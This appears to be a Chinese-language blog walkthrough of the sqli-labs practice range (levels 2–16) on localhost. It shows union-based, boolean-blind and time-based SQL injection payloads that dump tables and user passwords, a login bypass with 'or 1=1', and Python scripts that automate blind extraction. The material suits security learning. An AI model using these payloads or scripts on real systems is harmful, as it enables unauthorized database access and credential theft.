前面学了,基本的GET/POST型联合注入、基于时间的盲注、基于布尔类型的盲注,注入这一块的基础应该就差基于错误信息的盲注这一块了,但是最近学习进度有点小快,这一篇博客来巩固一下前面学习的内容,开始刷一波靶场——sql-labs,因为(一)篇中将第一关当作案例演示了,这里直接从第二关开始继续往下刷刷刷
目录
Less-2
http://localhost:8090/sql/sql1/Less-2/?id=1 正确输出
http://localhost:8090/sql/sql1/Less-2/?id=1' 报错
http://localhost:8090/sql/sql1/Less-2/?id=1' -- + 报错
基本上可以确定是字符型,下面尝试探测字段数
http://localhost:8090/sql/sql1/Less-2/?id=1 order by 3 -- + 正常输出
和第一关一样,查询出3字段,下面直接union attract
http://localhost:8090/sql/sql1/Less-2/?id=-1 union select 1,2,3 -- +
看到跟第一关一样,输出了2,3
下面其实就是跟第一关一样的重复操作啦,这里写一下吧,后面还有一样的就跳过啦
id=-1 union select 1,database(),2 --+ 数据库名
id=-1 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+ 表名
id=-1 union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users' --+ 字段名
id=-1 union select 1,group_concat(id,password,username),2 from users -- + 拿到所有数据
Less-3
http://localhost:8090/sql/sql1/Less-3/?id=1 显示正确
http://localhost:8090/sql/sql1/Less-3/?id=1' 报错
提示信息:
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
看到信息里面有个),加个注释 -- +
http://localhost:8090/sql/sql1/Less-3/?id=1' -- +
提示信息:
You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '' at line 1
ok可以确定sql语句应该是 ('id') 的形式
http://localhost:8090/sql/sql1/Less-3/?id=1') -- + 显示正确
接下来就可以探测字段数了
http://localhost:8090/sql/sql1/Less-3/?id=1') order by 3-- + 显示正确
跟前面一模一样啊,后面就轻车熟路啦
Less-4
http://localhost:8090/sql/sql1/Less-4/?id=1 显示正确
http://localhost:8090/sql/sql1/Less-4/?id=1' 显示正确
到这里大家就要注意一下了,按理说我加了个单引号,而且没注释掉后面的内容
为啥不报错呢,这里其实就可以猜测原sql语句应该是形如("id")的形式,因为
这样("id'")/("id --+ ") 都是不会报错的,而且注释的不起效的
那我们试一下注释掉后面的内容
http://localhost:8090/sql/sql1/Less-4/?id=1' -- + 显示正确
最后尝试一下把单引号换成双引号
http://localhost:8090/sql/sql1/Less-4/?id=1"
报错,并且内容和上题类似
http://localhost:8090/sql/sql1/Less-4/?id=1") order by 3 --+ 显示正确
http://localhost:8090/sql/sql1/Less-4/?id=1") order by 4 --+ 报错
ok跟前面一模一样
后面就直接开始快乐的 union attract吧
Less-5
http://localhost:8090/sql/sql1/Less-5/?id=1
呕吼这道题竟然显示的是you are in
不用想啊布尔盲注啊,来测试一下
http://localhost:8090/sql/sql1/Less-5/?id=1' 报错
http://localhost:8090/sql/sql1/Less-5/?id=1' -- + you are in
ok 这是字符型的
接下来探测数据库名,手动还是脚本,其实手动也好说不用自己试了,应该跟前面一样
自动也好说,因为这个靶场连cookie都不用
手动
http://localhost:8090/sql/sql1/Less-5/?id=1' and length(database())=8 --+
You are in
数据库名共八个字符
猜测第一个
localhost:8090/sql/sql1/Less-5/?id=1' and substr(database(),1,1)='s' --+
You are in
数据库名:s
继续猜测第二个字符
localhost:8090/sql/sql1/Less-5/?id=1' and substr(database(),2,1)='e' --+
You are in
数据库名:se
....
最后猜出数据库名:security
同理开始猜测表名
先猜测表的数量
localhost:8090/sql/sql1/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
You are in
有四张表,然后判断表名
后面就一样的判断字段数字段名,最后试出内容,这里就不过多赘述
自动
def database_length():
for i in range(100):
url=B_URL+f'id=1\' and length(database())={i} -- +'
re=requests.get(url)
if(str in re.text):
print(f"数据库名长度为{i}")
return i
def database_name(len):
name=""
for i in range(len):
for j in range(30,130):
url=B_URL+f'id=1\' and ascii(substr(database(),{i+1},1))={j} -- +'
re=requests.get(url)
if(str in re.text):
name+=chr(j)
print(name)
return name
def table_count():
for i in range(100):
url=B_URL+f'id=1\' and (select count(table_name) from information_schema.tables where table_schema=database())={i} -- +'
re=requests.get(url)
if(str in re.text):
print(f"共有{i}个表")
return i
def table_name(count):
for j in range(100):
url=B_URL+f'id=1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)={j} -- +'
re=requests.get(url)
if(str in re.text):
print(f"第2张表长度为{j}")
sum=""
for k in range(j):
for p in range(30,130):
url_=B_URL+f'id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),{k+1},1))={p} -- +'
re_=requests.get(url_)
if(str in re_.text):
print(chr(p))
sum+=chr(p)
break
print(f"第2张表名为{sum}")
def cloumn_count(name):
for i in range(100):
url=B_URL+f'id=1\' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="{name}")={i} -- + '
re=requests.get(url)
if(str in re.text):
print(f"{name}表共有{i}个字段")
return i
def column_name(count,name):
for i in range(count):
for j in range(100):
url=B_URL+f'id=1\' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name="{name}" limit {i},1)={j} -- +'
re=requests.get(url)
if(str in re.text):
print(f"第{i}个字段长度为{j}")
sum=""
for k in range(j):
for p in range(30,130):
url_=B_URL+f'id=1\' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="{name}" limit {i},1),{k+1},1))={p} -- +'
re_=requests.get(url_)
if(str in re_.text):
sum+=chr(p)
break
print(f"第{i}个字段名为{sum}")
break
基于布尔型的盲注,的条件就不是start_time啥的啦,就是获取网页的text,对比有没有关键词,比如说You/are/in等等
Less-6
http://localhost:8090/sql/sql1/Less-6/?id=1' you are in
http://localhost:8090/sql/sql1/Less-6/?id=1" 报错
http://localhost:8090/sql/sql1/Less-6/?id=1" -- + you are in
可以了跟5一样就是把'id' 换成了"id"
其实是一模一样的!
Less-7
基于布尔类型的盲注
id=1 显示正确
id=1' -- +报错
猜测是括号的问题
id=1')-- +还报错
id=1')) -- + 不报错了
直接开始注入
id=1')) and length(database())=8 -- + 不报错
判断数据库名长度为8
后面就一样了!
Less-8
和Less-5一模一样啊,啥都没改,我也不知道为啥
Less-9
这道题是基于时间的盲注,判断方法就是,无论输入啥都是you are in
http://localhost:8090/sql/sql1/Less-9/?id=1' and sleep(1) -- +
延迟了1秒
直接开始判断数据库名长度
http://localhost:8090/sql/sql1/Less-9/?id=1' and length(database())=8 and sleep(1) -- +
延迟1s
说明数据库长8位,后面跟前两题都一样了就是不看返回信息通过是否延时来判断是否正确了
脚本的话,跟上一篇的一样,通过start-time 和响应后的时间做差,大于1的(延时大于1)取值
后面不知道的话可以看sql注入(三)
Less-10
测了一下把9的单引号改成双引号就可以了
Less-11
呕吼第十一题界面都变了
F12瞅一眼吧
开始POST了!
看看请求
齐活,直接开启postman
这里猜测username和password都存在注入点
那我们直接从username开始尝试
单引号出提示信息
直接加个注释看一下
没报错,尝试一下万能密码 or 1=1
登进去了
接下来就是常规注入流程,先判断字段数在union attract
到这里相信大家都会搞下一步啦吧,直接出表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() -- +
后面就不演示了和前面一样
Less-12
跟11类似,但是' 不报错,双引号报错
看到)推测("")
ok后面就是常规操作啦
Less-13
这道题有点意思,没有回显,显然的post提交方式下的基于时间的盲注
其实也简单就是把脚本中的get改成post,加个data,然后其他的都不用咋变
import requests
import time
#http://localhost:8090/bwapp/bWAPP/sqli_15.php?title=&action=search
DATA={
"uname":"",
"passwd_":"",
"submit":"Submit"
}
BASE_URL='http://localhost:8090/sql/sql1/Less-13/'
def get_database_length():
for i in range(100):
url=BASE_URL
DATA["uname"]=f"Dumb') and length(database())={i} and sleep(2) -- +"
start_time=time.time()
requests.post(url,data=DATA)
if time.time() -start_time>1:
print(f"长度为{i}")
return i
后面就和(三)中说的一样,语句都是一样的,就是换成这种形式
def get_database_name(len):
name=""
for j in range(1,len+1):
for i in range(33,127):
url = BASE_URL
DATA["uname"]=f"Dumb') and ascii(substr(database(),{j},1))={i} and sleep(1) -- +"
start_time = time.time()
requests.post(url, data=DATA)
if time.time() - start_time > 1:
name+=chr(i)
print("数据库名字是"+name)
return name
后面也一样,就不演示啦
Less-14
14 是啥都不给看
就是加个and sleep(1) 然后把知道的比如说加' 或者" 或者') 或者") 或者啥都不加,都试一下,sleep了说明试对了,后面就跟前面一样了
Less-15
把14中的双引号换成单引号就是15题的解啦
Less-16
不出所料这道题是把15中的双引号换成 ")
先到这里叭,第17好像是联合更新注入了,我得去研究研究